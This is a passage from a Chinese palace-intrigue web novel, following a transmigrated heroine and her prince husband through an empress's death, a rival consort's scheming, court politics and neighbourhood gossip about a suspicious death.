温若初帕子掩面轻声哭泣,差点没被沈惊澜这句话逗得破功,连哭带笑地轻咳了几声。 沈惊澜没得到答案,抬头询问的视线看向老皇帝。 “父皇,是有人趁儿臣不在,欺负了儿臣的发妻?” “没……没人欺负我。”温若初抽抽搭搭,哭得愈发委屈伤心。 温若初一副自己委屈识大体的样子,倒是让屋里其他人羞愧得脸皮发烫。 老皇帝一脸尴尬,脸色黑如锅底,横了一眼沈星驰,给自己找台阶。 “你母后病重,你不安生伺候在侧,反而没事找事,误会了小初,闹得兄弟妯娌不睦。” 沈星驰跪地认错,“儿臣知错,是那些没用的御医说母后屋里的气味不对,儿臣才执意追查的。” 老皇帝:“医术不精,胡言乱语,今后不必行医治病救人了,重打三十大板,押入刑部大牢,听候发落。” 倒霉催的御医成了最后的背锅侠,禁军应声,刚带走一个御医,里间有御医慌里慌张跑出来。 “陛下,皇后娘娘大抵是不中了,微臣已用金针封住心脉,还能维持个把时辰,您快进去和娘娘说几句话吧……” 老皇帝顾不得这边赶紧迈步去里间,回头叫上了沈星驰,又命人去把沈桓沈烁接来。 萧蔷尴尬留在原地,老皇帝没叫上他,沈星驰也没带她,进去也不是,不进去也不是。 整个皇宫,老皇帝和沈星驰都算上,萧蔷才是最希望皇后身子无恙的那个,皇后没了,萧蔷失去了唯一靠山,沈星驰沾花惹草成性,是万万指望不上的。 温若初看出了萧蔷的窘迫,长叹一口气。 “我要是你,就算没让我进去,我也进去,至少要讨来一份懿旨,保住现在的位置。” 萧蔷性子跋扈了一些,却没什么心眼,有这样一个“睿智”,在配上沈星驰那样一个惹祸精,东宫易主指日可待。 萧蔷头一次听进去了温若初劝告,起身跟着去了里间。 依照礼制,皇帝或皇后病危,皇子公主们要跪到殿外。 方才站在外间的几位皇子都陆续跪到外面。 沈惊澜扶着温若初起身,两人相携朝殿外走去。 “他们有没有为难你,没事吧?” 温若初摇摇头,“东西处理了?” 说的是那盒掺杂了獬豸角碎屑的绛雪凝,为避免留下祸根,那玩意必须妥善处理。 沈惊澜点点头,压低声音道。 “皇后病得蹊跷。” 皇后不是因为獬豸角引起幻觉,进而引发自戕行为,失血过多引起的晕厥? 温若初诧异,抬头看沈惊澜。 沈惊澜解释:“人不管有没有自我意识,在遇到危险的时候,都会触发自我保护机制,獬豸角有致幻作用,会让人见到内心深处最恐惧的东西,也是自我保护机制的一种。” 温若初反应一瞬懂了,獬豸角不会让人产生自残或者自戕行为。 沈惊澜接着道:“有人用了更隐秘的方式,抢在我们前面先动了手。” 说话间,两人已到殿外,人来人往的,不方便多问,话题打住。 十一位皇子,皇子妃,公主驸马郡主们,各皇室宗亲跪在翊坤宫前,沈轩和沈煜也让奶娘抱了过来。 日影西斜,太监高呼一声。 “皇后殡天——” 紧接着一阵哭声,繁冗跪拜礼节。 温若初和皇子妃们跪在一起,磕了不知道多少个头,第一阶段礼节终于完成,外面天色都黑了。 第一天要皇子皇子妃们守灵,宗亲可以回去了。 温若初让黄兰带着两个奶娘先回去。 皇子和皇子妃们分开,中间用一块白布做隔档,温若初这边瞧不见沈惊澜那边。 沈惊澜地位今时不同往日,排行第九。温若初的位置在萧蔷稍稍靠后的地方。 萧蔷哭晕过去了,第一排剩下温若初自己。 后半夜,众人困得里倒歪斜,温若初打了一个哈欠,身后一道很轻的声音传来。 “恭喜九弟妹得偿所愿。” 她身后是四皇子妃张氏。 沈惊澜说有人用了更隐秘的法子抢在他们前面对皇后动了手,温若初当时第一个怀疑对象就是四皇子妃张氏。 皇后先后搞掉张氏两个孩子,张氏对皇后的恨意一点都不比温若初少。 加之今天上午,张氏对她说的那些莫名其妙的话。 温若初方才就在琢磨,她和沈惊澜手里握着天机阁,用了不易察觉的獬豸角,废了好一番心思,才筹谋致如此,张氏是如何做到杀人于无形的? 温若初皮笑肉不笑,回头瞅了张氏一眼。 “四皇嫂不是更应该恭喜自己得偿所愿?” 张氏似乎没想到温若初这么快就知道了,她愣了愣,旋即扯了扯嘴角,无声苦笑。 “我和四殿下依附于母后和太子,不像你和荣王殿下,我们没什么能耐。” 张氏看向温若初,“我们的目标一致,这次不是合作得很好?” 这话等于承认了皇后的死,她参与其中,并且知道温若初对付皇后,张氏趁机杀皇后泄私愤。 若事情败露,温若初被推到前面,张氏能很好地隐藏自己,达成自己目的,还是全身而退。 若是侥幸,温若初化解危机,皇后的死遮掩过去,张氏就跳出来,做一个合作伙伴。 嘎掉皇后的目的达到了,可温若初心里不痛快。 有一种被人当枪使的错觉。 就好像费尽心思做了一盘菜,等端上桌的时候发现不知道从哪里落下来一坨鸟屎,忍着恶心把鸟屎铲走,菜也能吃,但就是心里犯恶心。 温若初一点情面不给张氏留。 “咱们的目标未必一致,指不定哪日就兵戈相见了,下次四皇嫂还是找旁人合作吧。” 第189章 温若初到底是从何处来的? 四皇子妃勾起不以为意的笑意,缓缓道。 “都是一家人,低头不见抬头见的,何必把话堵死,我和四殿下都不是蠢笨愚钝之人,说不定就有能帮衬上的地方。” 温若初:“常言道画虎画皮难画骨,知人知面不知心,深宫内院的,谁知道旁人什么心思呢,四皇嫂还是自个顾自个吧。” 月儿过来矮下身,低声提醒温若初。 “娘娘,您的丧服脏了,皇后娘娘新丧,丧服脏了视为对皇后娘娘大不敬,去换身新的吧。” 她屋里的这些人,愈发懂事,关上门称呼她公主,在外人面前从来都是叫她娘娘,没有任何逾越之举。 温若初满意地瞅了一眼月儿,终于摆脱了四皇子妃张氏的纠缠。 后半夜众人困乏,偶尔有几个强撑着精神的,注意力也早不在守灵上了。 温若初走了之后,张氏四下看了看,注意到供案上的蜡烛燃烧过半,吩咐掌事太监。 “可准备了新蜡烛?母后殡天第一日,可不能怠慢了。” 太监小声回道:“回四皇子妃,蜡烛正好够用到天明。” “今夜风大,蜡烛燃烧快,以防万一,还是多准备些,万一蜡烛不够用,就是你们这些当差的失职。” 太监犹豫一瞬,还是听从张氏建议,出门取蜡烛去了。 守在皇后灵柩附近的太监被支走,张氏从怀中掏出一个白色窄口小瓷瓶,藏于袖口,起身假意拨了拨烛芯。 四下看了看,凑到灵柩边,拔出瓷瓶木塞,一只小拇指长的千足蜈蚣爬了出来。 那千足蜈蚣通体黑亮,脑袋上张了两只类似翎羽状触角,无数根腿快速移动,沿着厚重棺木,爬进灵柩。 只见那只千足蜈蚣,像是探寻似的,在皇后脸上游走,没一会,从鼻腔里钻出来一只长相相同的千足蜈蚣,一前一后,沿着来时的轨迹路线,爬回小瓷瓶。 张氏塞上木塞,瓷瓶重新藏于袖口之下,退回原来位置,整个过程自然又迅速,无人注意。 殿外,月儿引着温若初到一不起眼房间门口停下。 “新丧服在房间里,奴婢为娘娘守着门,娘娘换好了叫奴婢。” 温若初推门进屋,屋里只燃着一只蜡烛,光线有些昏暗。 抬眼就瞧见墙边椅子上坐着一人,脊背笔直,身材高大而瘦削,只看那模糊的五官轮廓就知道是谁。 温若初勾了勾唇角,上前,一屁股坐到沈惊澜身边空位,苦着脸抱委屈。 “累死我了,跪了一晚上,还不让吃东西,我都快饿成相片儿了。” “相片儿?”沈惊澜疑惑。 沈惊澜是书中人物,不懂什么是相片儿。沈惊澜求知欲很强,不是温若初怕沈惊澜听不明白,而是她解释清楚估计得两天。 温若初敷衍道:“我们那的一个俚语,就是形容很饿,饿得前胸贴后背的意思。” 沈惊澜一脸莫名。 “大虞有这句俚语?我怎么没听过。” 为了防止沈惊澜刨根究底,温若初赶紧岔开话题,双手掐着膝盖,可怜巴巴道。 “跪了一晚上,膝盖又疼又胀的。” “受累了。” 沈惊澜回头拿起一个食盒,几碟糕点摆在温若初面前。 “吃吧。” 温若初眼睛都亮了,眉眼含笑地看着沈惊澜。 “我上辈子是积了什么福,遇到你这样的又体贴又细心的夫君。” 沈惊澜抬眼看她,唇边荡开笑意,点心碟子又往温若初面前推了推。 温若初是真饿了,拿起一块桂花糕送到沈惊澜嘴边,沈惊澜很自然地探身过来,咬了一口,剩下的一半塞进自己嘴里。 一会儿的功夫小半碟点心没了,温若初喝了一口茶水,吃得起劲。 沈惊澜起身过来,矮下身,掀她裙角。 温若初赶紧压住衣裙,像是干坏事怕被人发现似的,贼眉鼠眼瞄了一眼门口。 月儿是在外面守着门,可到底是后婆婆新丧,做那档子事不大好。 难为情道:“不好吧?” 沈惊澜摊开手掌,掌心里的金疮药展示给温若初看,眼底促狭,唇边挂着若有似无的笑意。 显然是在嘲弄她。 误会了! 温若初双颊泛红,深吸一口气,避开沈惊澜落在她身上的戏谑眼神,一手拿起一块点心咬了一口,另一只手撩起裙摆,露出有些红肿的膝盖。 沈惊澜瞧着她的窘迫羞臊模样,也没继续逗弄,视线落在面前红肿的膝盖上,眉心蹙了蹙,眼底掩饰不住的心疼。 抠出一大块金疮药。 “忍着点,稍稍有点疼,膏体被皮肤吸收就好了。” “嗯。” 沈惊澜神色专注,像珠宝匠人修复一件稀世珍宝,平常舞枪弄剑的手掌,轻柔而小心翼翼,墨黑长睫毛下耷,在俊脸上映出一小片扇形阴影。 金疮药在他指尖化开,带着一股淡淡的香味,触在皮肤上冰冰凉凉的,一点都不疼。 温若初跪了一晚上,方才在灵堂刚起身的时候,膝盖是真的疼,这会也有点疼,有美色和美食相伴,这点疼可以忽略不计。 被别人伺候的感觉不错,尤其还是这样一张养眼的脸。 两个膝盖都涂完了金疮药,沈惊澜抬头问。 “还疼吗?” 温若初摇摇头,又点了点头。 沈惊澜轻笑一声,站起身,抬手揩去她嘴角的糕点渣。 “一会你直接回府歇息,父皇那边我去说。” 不用给那个老妖婆守灵了,温若初心里摇旗呐喊,欢心雀跃,可也深知皇室规矩,皇后是一国之母,要守灵七日。 她这么拍拍屁股走了,岂不是给沈惊澜找麻烦。日后沈惊澜登上大统,那些唯恐天下不乱的好事之辈,难保不编排她,进而攻讦沈惊澜。 温若初压下心里喜悦情绪,犹豫道。 “可依礼法……皇子和皇子妃要守灵七日……” “我不依礼法。”沈惊澜道。 温若初:“……” 她一时竟被怼得无言以对。 “时辰不早了,吃饱了就回去歇着,两个孩子想你了。”沈惊澜说道。 是他强行掳了她来雍国,这边的勾心斗角本就与她无关,又怎能让她承受这份罪? “那你呢?” “过几日回去。” 温若初了然,沈惊澜能让她回去,大概是准备好了说辞,临出门,突然想起来还有一件要紧事没和沈惊澜说。 顿住脚步,回头看向沈惊澜。 “当心四皇子沈雨霁。” 说了方才在灵堂四皇子妃张氏间接承认杀了皇后的事。没说张氏想和他们合作的事。 一个被窝睡不出两种人,四皇子妃张氏和四皇子沈雨霁一样,都是心狠手辣,手段阴私之人。 倒不是温若初嫌弃他们身份低微,也不是嫌弃他们没有能力,而是这种人做事自私,毫无底线。 沈惊澜沉吟半晌,点点头,表示知道了,不用温若初提醒,出了追风的事,他对所有人都设防。 只是越发好奇,温若初似乎对每个人都很了解。就好像有某种未卜先知能力似的。 偶尔冒出几个莫名其妙词语,没有酒坝这个地方,也没有南莫这个人,什么996,高考,牛马……今日又弄出来一个相片儿,他对大虞和雍国都了解,这些词语他闻所未闻。 温若初到底是从何处来的? 第190章 沈惊澜常驻御书房 御乾宫 总管太监李公公双手端着银耳莲子粥放到老皇帝面前,轻声劝着。 “陛下您多少垫点食儿,皇后娘娘在天上看着您糟践自己身子,会伤心的。” 老皇帝负手站在皇后年轻时候的画像前,身形落寞,一整天都没说话,偶尔叹息一声。 挥了挥手,“拿下去吧,朕吃不下。” 老皇帝对着面前画像中年轻女子抹了抹眼泪。 “朕对不住她,冷落了她那么久,就这么说走就走了。” 李公公让小太监把银耳莲子粥端走。 “人死不能复生,陛下节哀。” 老皇帝神色恍然,自说自话。 “朕六岁便被先皇立为太子,从小受鸿儒大家启蒙教诲,先帝对我多有纵容,先帝常说人要有自己的主见才能干成事。” “那年我十五岁,受先帝命令,跟随当时的工部尚书去江南治理水患,回都城途中遇到萧氏,那年她也十五岁,我们一见钟情,那时候的萧氏明媚大方,乖巧懂事,我不计较萧氏父亲只是鄞郡一个九品守门参将,当时便许诺娶她。” “没想到却遭到朝臣阻碍,先皇尊重我的意愿,力排众议让我娶了萧氏。” “萧氏从一个九品小官家的女儿一跃成为太子妃,萧家跟着鸡犬升天,萧氏私下纵着亲眷在鄞郡欺压百姓,为非作歹,先帝要诛萧氏三族。” “萧氏到我面前哭诉,我不忍萧氏伤心,到先帝面前求情,先帝料理了两个闹事的,才留住了萧家香火,萧家也确实安生了。” “后来萧氏诞下嫡长子伤了身子,不能再孕育子女,我当时许诺她,后宫只她一人,我们的感情愈发深厚。” “可朕没想到这江山难坐,各地匪患四起,朕只能让那些世家去对付那些匪患,一个接一个的世家女住进朕的后宫。” “朕对萧氏食言了,可朕把所有的宠爱都给了萧氏和萧氏生的孩子,也算是弥补了萧氏。” “朕知道萧氏耍小性子,有一些小毛病,小打小闹,朕睁一只眼闭一只眼当做看不见也就算了,可她千不该万不该,不该把手伸向前朝政务,撺掇朕的朝臣去坑害朕的百姓,谋取的私利还是想招兵买马图谋朕的江山。” “若是先帝在,查出萧氏领着太子在鄞郡招兵买马,直接就赐那娘俩白绫了,哪里会留着他们。” 老皇帝痛哭流涕,说到伤心处,身形摇晃险些站不稳,李公公搀扶他坐下。 “朕是不得已才禁了萧氏的足,小惩大戒,没想到……才几日就天人永隔了。” 李公公也跟着老皇帝抹眼泪,“不是您的错,陛下禁娘娘的足,也是不得已,陛下是天下人的陛下,陛下心里装着江山社稷,您有您的苦衷,皇后娘娘会理解您的。” 老皇帝哭了一会儿,被李公公劝得不那么自责伤心了。 “皇后走之前让朕照顾好星驰,星驰那孩子被惯坏了,才生出那么多事端,星驰一直在朕的羽翼之下,自己不立起来不行,朕得好好培养培养他,不能辜负了皇后的临终所托。” 李公公这回没搭话,太子三十多岁,培养太子还不如直接培养沈桓和沈烁,好歹还能看到盼头。 老皇帝擦了擦眼泪,吩咐李公公。 “替朕拟一道旨意,丧期过后,太子监国。” “是。” 李公公秉笔写完圣旨,放在桌案上阴干,“这道圣旨,这就送东宫?” 老皇帝:“星驰刚没了母亲,正伤心着,估计也没精力操心国事,等丧期过后再送。” “朕也累了,心累!” 老皇帝吩咐李公公,“这阵子,让老九盯着点前朝那边。” 指着桌案上堆成小山的奏折,“这些奏折都搬御书房去,明天让老九去御书房酌情处理,朕想多陪皇后几日,没什么事别来烦朕。” “是。” 转眼皇后丧期过了半个月。 荣王府。 “公主,这是姑爷派人送来的,姑爷说要晚些回来,晚膳您先自己用,不用等他,姑爷自从进了御书房愈发繁忙了。” 秋菊把食盒里的东西摆到檀木桌面上,是鼎香阁醉鸭。 前两日温若初随口说了一句鼎香阁醉鸭味道不错,接连三日,早中晚三餐都能见到醉鸭。 温若初现在看到那焦黄泛着油光的鸭子,感觉那鸭子看她都是一脸怨气,好吃也不能天天吃它啊。 温若初用拨浪鼓的杆,把鸭脑袋撅到一边,不让鸭子看她。 “端下去,当做晌午给你们加餐。” 月儿以为温若初是思念沈惊澜没了胃口,笑嘻嘻地劝温若初。 “只有皇帝和太子能在御书房处理政务,如今咱们姑爷在,这是好事啊,公主应该多吃点,养好了身子,料理好家宅,姑爷能安心处理政务,自然就能早些回来了。” 温若初让奶娘把沈轩和沈煜抱出去,瞅了一眼月儿,小姑娘还是年纪小,不懂这里面的道道。 “老皇帝在御书房处理政务是理所应当,太子在御书房处理政务那也是应当应分,沈惊澜是皇子,在御书房处理政务就是个傻干活的。” “如今皇后丧期,老皇帝是个痴情种对皇后的死心怀愧疚,无心政务,沈星驰是个烂泥扶不上墙的,那些堆积如山的政务,只能交给看起来老实本分,经过老皇帝三番五次试探,确认忠心耿耿,又有能力的沈惊澜去处理。” “等丧期一过,沈惊澜就要乖乖把御书房让出来,弄不好老皇帝直接让沈星驰上位监国,让沈惊澜给沈星驰那坨烂泥打下手。” “啊?” 月儿一脸愤愤不平,“姑爷这么尽心竭力地处理政务,岂不是为旁人做嫁衣裳,甘当太子的小力巴,您快让姑爷回来吧。” 温若初悠闲地往躺椅里一倒,晃了晃,看着房顶悬梁上雕刻的鸟兽花纹,漫不经心地说道。 “一国政务门类复杂,上到国策修改制定,百姓民生,下到官员之间扯皮推诿,能抬到御书房的没有小事,往往牵一发而动全身。不说旁的,就单说御史台,一个个跟粪坑里的石头似的,又臭又硬,不是一般人能处理的。” “咱们的太子,流连花街柳巷有一套,处理政务,和那些长了八百个心眼子的朝臣斗智斗勇,下辈子都不一定能上桌。” “到时候沈惊澜身子抱恙起不来床,老皇帝不理朝政,赶鸭子上架推沈星驰到高位,咱们就等着看朝堂之上是如何鸡飞狗跳的。” 第191章 寒族 几人正说着话,冯文隔着门帘通传。 “公主,王公公求见。” “有请。” 王公公是沈惊澜安插在皇宫的内线,上次托王公公调查柳家出事当晚有什么人见过柳妃。 沈飞白死后,柳家没了指望,走下坡路,想托举晚辈,自导自演行刺老皇帝,然后救驾立功的戏码,被沈惊澜搅合了,立功不成,反而落下行刺老皇帝的罪名。 柳家全族落难,偏偏赶巧,柳家出事前一日,柳妃突然疯癫,以至于躲过一劫。 后来温若初去见柳妃,柳妃当时说了几句明显不是柳妃能说出来的话,还让她生完孩子滚回大虞。 温若初怀疑这里面有蹊跷。 后来王公公的确是帮她查了,可当时在柳妃宫里伺候的人,基本上都被皇后处理了,内务处也没有任何访客记录,此事便就此搁置下来。 近期她没吩咐过王公公任何事,王公公此番见她,八成是和柳妃有关。 不多时,王公公迈步进来,寒暄行礼过后,温若初让他坐下说话。 王公公道:“荣王妃娘娘,您上次托咱家办的事,有眉目了。” “之前柳妃宫里伺候的人,基本上都被皇后娘娘遣送出宫了,也是巧了,我一个干儿子的亲戚是柳妃宫里外院嬷嬷,那嬷嬷说柳家出事前一日,的确是有人见过柳妃。” 温若初抬眼看王公公,正了正神色, “谁?” “四皇子妃。” 又是四皇子妃张氏。 柳家出事之后,柳妃宫里伺候的人全部被皇后处理了,温若初只当做是皇后对柳妃这个情敌的清算旧账。 四皇子沈雨霁和四皇子妃张氏依附于皇后和太子,四皇子妃张氏平常和皇后那边接触较多,皇后恨足了柳妃,又是个没什么心眼和主见的,言行极容易被人左右。 如今看来,皇后处理掉柳妃宫里的人,可能也不全是情敌之间的清理旧账,也可能是某人为了掩人耳目,抹去自己踪迹。 自从得知四皇子妃张氏借她的手杀了皇后之后,温若初派人暗中调查过张氏和沈雨霁。 沈雨霁没什么可查的,老皇帝的四儿子,母亲丽嫔,早忘,皇室玉牒上都写着呢。 张氏父亲吏部侍郎,母亲出身商贾,祖父母外祖父母皆有源可查,也没什么异常。 张氏和柳家那边既无恩也无怨,突然出手帮柳妃,本身就有问题。 如四皇子妃张氏所言,在众多皇子中,沈雨霁和张氏稍显势微,没什么大能耐。 先是帮柳妃躲过一劫,后暗中谋划杀了皇后,无论是哪一件事,都是掉脑袋的大事。 温若初有一种直觉,四皇子妃后面还有人。 王公公离开后,温若初吩咐冯文。 “暗中监视四皇子沈雨霁和四皇子妃张氏,看看他们私下都接触了什么人。” 冯文点头应声,“是。”转身就走。 “等等。” 温若初叫住冯文。 冯文是大虞过来的,算是她的得力干将,有点拳脚功夫,看家护院还成,跟踪盯梢到底是专业不对口。 这事还得天机阁的人去办,沈惊澜已经给了她权利,天机阁的人和资源,随她调遣。 “算了,忙你的去吧。” 当天下午,温若初就去了天机阁,和在大虞上京一样,伪装成了一家外表其貌不扬,实则内有乾坤的书坊。 没有受到任何阻碍,天机阁的人对她毕恭毕敬,温若初指派一个叫伍六七的去跟踪四皇子和张氏。 回府的马车上,月儿指给温若初看。 “公主快看,那间铺子就是小玉新盘下来的铺子。” 温若初坐在马车里,放眼望去前方不远一间门面颇为气派的裁缝铺。 正是国丧期间,各商铺门口都挂着白灯笼,尽管灯笼是白色的,往来衣着华丽夫人小姐却不少,看起来生意很是红火。 鄞郡军饷来源案子了结,郭河等人伏法,小玉终于等来了自己的好日子,拿着本钱,带领同村的几个姐妹在都城最好的地界开了一间裁缝铺。 不止接荣王府的订单,都城好多富户人家都找她们做衣裳。 “左右出来一趟,下午也没什么事,我们去看看。” 温若初让冯文停下马车,领着秋菊和月儿走进小玉的裁缝铺。 小玉有些受宠若惊,因着温若初的到来,特意清了场子,亲自领着温若初挑选了两件衣裳,还送了小玉和秋菊一人一身衣裳,连冯文都有份。 温若初要给银子,小玉死活不要,还说什么要她的银子就是瞧不起她。 沈惊澜和温若初从去年来都城,到今日沈惊澜成了常驻御书房代天子理政,升迁速度令人望尘莫及,人人艳羡。 温若初和沈惊澜穿着她们做的衣裳,有不少富商名流跟风,觉得衣裳能给人带来好运气,也找小玉做衣裳,裁缝铺的订单排到了明年年尾,生意火爆得很。 本意只是来看一看小玉,没想到反倒拿了人家那么多东西,温若初还挺不好意思,为了表示感谢,让冯文在鼎香阁买来一些点心,又差人回府取了两罐上好茶叶,请小玉和裁缝铺的几位绣娘吃。 说笑着,小玉从袋子里掏出一把饴糖,分给温若初秋菊和月儿。 温若初含了一块在嘴里,甜味浓郁,在口腔里融化,味道有些熟悉,和之前沈惊澜给她做的饴糖味道差不多。 秋菊不解问道:“雍国吃差点之前要吃饴糖?这里的习俗?” “不是。” 小玉羞怯着低下头,脸上浮出几分少女的娇羞来。 温若初好奇地抬眼看去,小玉这是有情况了? 一个叫桂花的绣娘好像和小玉关系很好,笑着打趣。 “王妃娘娘不知道,我们小玉有喜事了,城西的吴家大娘亲自来找小玉下聘,吴家大郎去年刚中了秀才,模样周正,人品也好,本来是打算年底完婚。” “也是不巧了,赶上国丧,三年之内不得嫁娶、宴饮、歌舞,婚期只能延后。” 小玉点点头,“吴家祖上是寒族人,寒族有一个习俗,男子给心爱的女子做饴糖,女子收下,就表示收了男子的心意,同意这门亲事,婚事就算是成了一半。” 小玉剥开一块糖,放进嘴里,眉眼间都洋溢着幸福的笑意。 “吴大娘是个好人,吴秀才不嫌弃我操持贱业,答应和我一起养大几个弟弟妹妹,还托人帮弟弟找了私塾,我原本是不打算嫁人的,念着吴秀才确实人不错,也就同意了。” 听起来这个吴家还不错,小玉有自己的人生规划,以后的日子错不了,温若初很是欣慰。 “你也算是本宫的人,成亲的日子定下来就知会本宫一声,本宫一定给你准备一份体面的嫁妆,给足了牌面,绝对不让旁人轻视了你。” “谢娘娘。”小玉赶紧道谢。 能得荣王府撑腰,是何等的荣耀。那吴秀才就算是将来做了大官,变了心,也不敢怠慢了小玉,在场的年轻绣娘们纷纷朝小玉投去艳羡目光。 小玉不过是寻常农家女子,无依无靠,都羡慕小玉能有好造化,得荣王妃的赏识。 温若初嘴里咬着饴糖,手里摆弄包裹饴糖的油纸,低眉若有所思。 在大虞的时候,沈惊澜也曾送过她饴糖,当时沈惊澜非要让她去看,原来是在证明那饴糖是他亲手做的,还问她饴糖好吃吗? 吃了他的饴糖,就表示收下了他的情意,婚事成了一半? 原来寒族还有这种习俗。 沈惊澜从来都没说过,送给她饴糖的时候也没说过这事。 那时候他们之间啥事没有,就想成亲的事了! 温若初歪了歪嘴,沈惊澜这小子真的是太鸡贼了。 寒族? 寒族公主也就是沈惊澜母亲,和亲到雍国之后不久,寒族就灭国了,寒族本就是小国,人口稀少,传说寒族皇室会巫蛊之术。 关于寒族灭国有很多传说,其中流传最广的一个说法,一个不受宠的寒族皇子想得到王位,利用巫蛊之术,一着不慎,蛊虫失控,毒杀了所有寒族人。 寒族已经灭国,吴家祖上居然也是寒族人,还真是稀奇,想必这世上还有寒族人流落在外。 第192章 谋杀亲夫 说笑一阵,门外忽然响起一阵急促敲门声。 “今日歇业”的木牌已经挂在外面了,众人不明所以面面相觑。 有绣娘起身去开门,说了几句话,又匆匆跑了回来,看向方才和小玉说话的桂花。 “桂花姐,你嫂子叫你快些回去,你哥哥死了。” 桂花噌一下起身,大惊失色道。 “前几日我去看我哥的时候还能正常吃汤药,还有说有笑的,怎么死了呢?” 小玉让店里的伙计去雇一辆马车,安抚桂花。 “先别急,你兄长家住城西九合坊,就算你不喘气跑回去也得半个时辰,雇辆马车,我和你一起去看看。” 温若初放下咬剩下的半块点心,站起身。 “回荣王府正好路过九合坊那边,本宫出来有一阵子了,左右也要回去,载你们一程。” 桂花着急,不做过多客套,上了温若初的马车。 马车赶得很快,一盏茶的功夫就到了九合坊,桂花和小玉道谢下车,朝一小院匆匆跑去,小院门口围了一堆人。 别人的家事,温若初不愿掺和,本想放下桂花和小玉就走,奈何听到几句八卦,腿想走,奈何耳朵不受控制想听。 围在小院门口的众人七嘴八舌,“前阵子还瞧见王家大郎和婆娘出来卖雨伞,才几日王家大郎怎么死了?可惜了那如花似玉的小媳妇年纪轻轻成了寡妇。” “王家大郎又丑又矬,他那媳妇从小没了爹娘,被当做童养媳养在王家,不然就那天仙模样,王家大郎也配不上人家啊。” “听说了吗?王家大郎前几日卖伞被打,是因为撞破了媳妇和野男人奸情,那野男人是个有权有势的,连官老爷都不敢惹。” “那王家大郎被媳妇带了绿帽子,受伤卧床几日,妹妹也不经常回来,平常就是媳妇伺候,今天突然就没了,谁知道这里面有什么事啊。” 马车帘是白纱的,王家邻居的话,一字不差听进温若初耳朵。 她坐在车里,隔着纱帘探头朝桂花兄长家的院子看去,几个壮汉把一具尸体从屋里抬了出来,一位穿着粗布麻衫的美妇人不远不近跟了出来,抽抽噎噎的,应该就是王家媳妇。 正如左邻右舍所说,这位王家媳妇眉目含情,皮肤白皙,身段凹凸有致,就算是放在美女如云的宫里,也是数一数二的美人。 躺在担架上的男人,又丑又矬,手臂和脚上布满红肿和淤青,不久之前应该是受过外伤,那尸体面色发绀,嘴唇乌黑,看着就不像是正常死亡。 桂花趴在尸体上哭得伤心,小玉在一边劝着,王家媳妇站在一边,很伤心的样子,低头抹眼泪。 这剧情有点熟悉,温若初看了一会热闹就让冯文赶车走了。 月儿回头瞅了好几眼。 “王家大哥死得有点不正常,那王家嫂子好像也不是很伤心的样子,会不会真的像那些长舌妇说的,王家大嫂外面有人了,趁着王家大哥养伤,一碗毒药送王家大哥去了西天?” 温若初撩起眼皮瞅了一眼月儿,这小丫头就是聪明,微微浅笑,不搭话。 月儿看着温若初的表情,心领神会,瞪大眼睛一脸震惊地捂住嘴巴。 “天啊,那我们要不要帮帮桂花,她嫂子岂不是很快就改嫁了。” 刚夸完就犯糊涂,温若初睨了一眼月儿,又睃了一眼秋菊。 “我经常和你们说什么来着,不参与别人因果。” 月儿听话地点点头,不说话了。 倒不是温若初冷血,那些邻居们议论绝对不是空穴来风,王家嫂子手腕上戴的那只手镯子是上等的紫玉,连官府都礼让三分,和王家嫂子通奸之人身份不简单。 如今正值皇后丧期,老皇帝伤心不理朝政,沈星驰为皇后守灵,等过几日皇后出了殡,老皇帝就要扶持沈星驰上位,必然想方设法打压沈惊澜。 她和沈惊澜没剩几日安生日子了,没必要给自己招惹不必要的麻烦。 话又说回来,桂花知道小玉是她的人,桂花若真有难处,一定会求小玉求到她头上,到时候再酌情考虑如何帮助桂花也不迟。 本以为是桂花家的事,和自己没什么干系。 温若初是万万没想到,天上掉馅饼的事,真的能落到自己身上。 第193章 分享八卦 隔天,沈惊澜一大早去了御书房,临近晌午温若初从两个孩子院里出来,碰巧遇到小辛回来。 小辛一直都跟在沈惊澜身边,突然一个人回来,肯定有事,温若初诧异问。 “你怎么回来了。” 小辛眼神闪躲,不着痕迹把腰间挂的小竹筒往身后挪了挪,挠了挠头,笑着解释。 “回王妃娘娘的话,御书房的珪墨用完了,王爷打发我回来取一块。” 十两黄金一两珪,珪墨家里是有两盒。 可沈惊澜在御书房办差,还要用自己东西? 沈惊澜不是一个肯做赔本生意的人。 温若初心里起疑,觉得沈惊澜和小辛有事瞒着她,审视的目光盯着小辛看了半晌。 “本宫亲自给王爷送去。” 让秋菊去书房取了一块珪墨出来,换了一身衣裳,带着小辛去皇宫御书房,给沈惊澜送珪墨。 老皇帝新赏赐的荣王府位置有些偏僻,要拐上几道弯才能走上主路。 在拐第二道弯的时候,也是巧合,吹来一阵风,风撩起马车窗帘,恰巧见到一个熟人。 那身段那模样,搭眼一瞧就知道是谁,正是昨日死了夫君的王家嫂子。 王家嫂子头戴白花,身披麻布,身后背着一个包裹,小碎步走得飞白,频频朝身后看,边走边脱下身上麻布,撤掉头上白花。 朝路边停靠的一辆黑漆高顶马车走去,马车稍显普通,可站在马车边等候的人温若初却认识。 那人圆脸络腮胡,不知道叫什么名字,温若初见过几次,是沈星驰身边的亲随。 知道自家主子爱看热闹,冯文把马车赶得很慢,为了避免对方起疑发现,特意绕到另一条绕远的小路,还让骑马跟在车后面的小辛去一边跟着,别影响了公主正事。 车窗帘子撩开一条缝隙,温若初眼瞅着那络腮胡子对王家嫂子态度恭敬,请王家嫂子上了马车,马车方向直奔皇宫。 和王家嫂子通奸的人是沈星驰? 如今正是皇后丧期,沈惊澜就敢做出谋人妻害人命的丑事? 这下有好戏看了。 温若初心里八卦之火熊熊燃烧,急于找人分享,吩咐冯文。 “快点,去找王爷。” 皇宫,御书房。 沈惊澜刚用完午膳,正伏在案上批阅奏折,见温若初来微微愣了一下,视线越过温若初瞅了一眼小辛,小辛点点头,目光重新落在温若初身上,勾起唇角起身,迎了过去。 “小初,你怎么来了?” 温若初让沈惊澜屏退左右,正着急,手里珪墨放到桌案上,没时间细追究沈惊澜和小辛之间有什么事瞒着她。 拉着沈惊澜就讲方才遇到沈星驰接走王家嫂子的事。 老皇帝正为皇后的死伤心着,让沈星驰守灵,沈星驰却悄无声息地做出如此淫邪之事。 机不可失时不再来。 温若初说完,踮起脚尖,凑到沈惊澜耳边。 沈惊澜自觉矮了矮身,低下头。 温若初低声道:“一会儿你这样……” 沈惊澜眸光促狭地看着温若初。 “小机灵鬼,好,听你的,我这就去办。” 沈惊澜出了御书房大门,小辛等候在门外,见他出来,赶紧凑上前。 沈惊澜问:“那些东西喂过了?” 